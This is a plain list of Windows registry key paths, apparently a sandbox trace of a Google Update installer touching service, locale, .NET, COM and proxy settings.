HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Environment
DisableUserModeCallbackFilter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GoogleUpdate.exe\DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\Software\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
HKEY_CURRENT_USER
HKEY_USERS\.DEFAULT\Control Panel\International
HKEY_USERS\.DEFAULT\Control Panel\International\LocaleName
HKEY_USERS\.DEFAULT\Control Panel\International\sCountry
HKEY_USERS\.DEFAULT\Control Panel\International\sList
HKEY_USERS\.DEFAULT\Control Panel\International\sDecimal
HKEY_USERS\.DEFAULT\Control Panel\International\sThousand
HKEY_USERS\.DEFAULT\Control Panel\International\sGrouping
HKEY_USERS\.DEFAULT\Control Panel\International\sNativeDigits
HKEY_USERS\.DEFAULT\Control Panel\International\sCurrency
HKEY_USERS\.DEFAULT\Control Panel\International\sMonDecimalSep
HKEY_USERS\.DEFAULT\Control Panel\International\sMonThousandSep
HKEY_USERS\.DEFAULT\Control Panel\International\sMonGrouping
HKEY_USERS\.DEFAULT\Control Panel\International\sPositiveSign
HKEY_USERS\.DEFAULT\Control Panel\International\sNegativeSign
HKEY_USERS\.DEFAULT\Control Panel\International\sTimeFormat
HKEY_USERS\.DEFAULT\Control Panel\International\sShortTime
HKEY_USERS\.DEFAULT\Control Panel\International\s1159
HKEY_USERS\.DEFAULT\Control Panel\International\s2359
HKEY_USERS\.DEFAULT\Control Panel\International\sShortDate
HKEY_USERS\.DEFAULT\Control Panel\International\sYearMonth
HKEY_USERS\.DEFAULT\Control Panel\International\sLongDate
HKEY_USERS\.DEFAULT\Control Panel\International\iCountry
HKEY_USERS\.DEFAULT\Control Panel\International\iMeasure
HKEY_USERS\.DEFAULT\Control Panel\International\iPaperSize
HKEY_USERS\.DEFAULT\Control Panel\International\iDigits
HKEY_USERS\.DEFAULT\Control Panel\International\iLZero
HKEY_USERS\.DEFAULT\Control Panel\International\iNegNumber
HKEY_USERS\.DEFAULT\Control Panel\International\NumShape
HKEY_USERS\.DEFAULT\Control Panel\International\iCurrDigits
HKEY_USERS\.DEFAULT\Control Panel\International\iCurrency
HKEY_USERS\.DEFAULT\Control Panel\International\iNegCurr
HKEY_USERS\.DEFAULT\Control Panel\International\iCalendarType
HKEY_USERS\.DEFAULT\Control Panel\International\iFirstDayOfWeek
HKEY_USERS\.DEFAULT\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\Software\Policies\Google\Update\
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\Software\Google\Update\
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\OemInstallTime
HKEY_LOCAL_MACHINE\Software\Google\UpdateDev\
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientStateMedium\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\usagestats
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}\usagestats
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\old-uid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\eulaaccepted
HKEY_LOCAL_MACHINE\Software\Google\Enrollment\
HKEY_LOCAL_MACHINE\Software\Google\Chrome\Enrollment\
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\gupdate_service_name
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\GoogleUpdate.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\GoogleUpdate.exe\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\MaxSxSHashCount
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00020400-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00020400-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00020400-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Control Panel\International
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\Software\Google\Update\Clients\
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\RegistrationUpdateHook
HKEY_LOCAL_MACHINE\Software\Google\Update\Clients\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\RegistrationUpdateHook
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\eulaaccepted
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\name
HKEY_USERS\
HKEY_USERS\.DEFAULT\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\.DEFAULT\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-19\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-19\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-19\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-20\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-20\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-20\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-18\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_USERS\S-1-5-18\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-18\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\dr
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ap
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\tttoken
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\cohort
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\iid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\brand
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\client
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ActivePingDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\RollCallDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\InstallTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfLastActivity
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfLastRollCall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfInstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ping_freshness
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\eulaaccepted
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\name
HKEY_USERS\.DEFAULT\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\.DEFAULT\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-19\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-19\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-19\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-20\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-20\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-20\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}\dr
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-479431668-4257340731-3059248302-1002_Classes\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-18\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_USERS\S-1-5-18\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-18\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\dr
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ap
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\tttoken
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\cohort
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\iid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\brand
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\client
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ActivePingDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\RollCallDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\InstallTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfLastActivity
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfLastRollCall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfInstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ping_freshness
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\InstallerProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\InstallerProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\CurrentState
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\oeminstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\oeminstall
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\experiment_labels
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState\StateValue
HKEY_LOCAL_MACHINE\Software\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}\PersistedPingString
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}\PersistedPingTime
HKEY_LOCAL_MACHINE\Software\Google\Update\PersistedPings
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\experiment_labels
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}\experiment_labels
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid-create-time
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid-num-rotations
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}
HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Settings\Wpad
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05
\xd000|EY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecision
\xcf10|EY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionTime
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadExpirationDays
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\SOFTWARE\Clients\StartMenuInternet
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Clients\StartMenuInternet\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
\xcf10|EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\proxy
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\proxy\source
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\FeatureSIMD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\558BE819
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
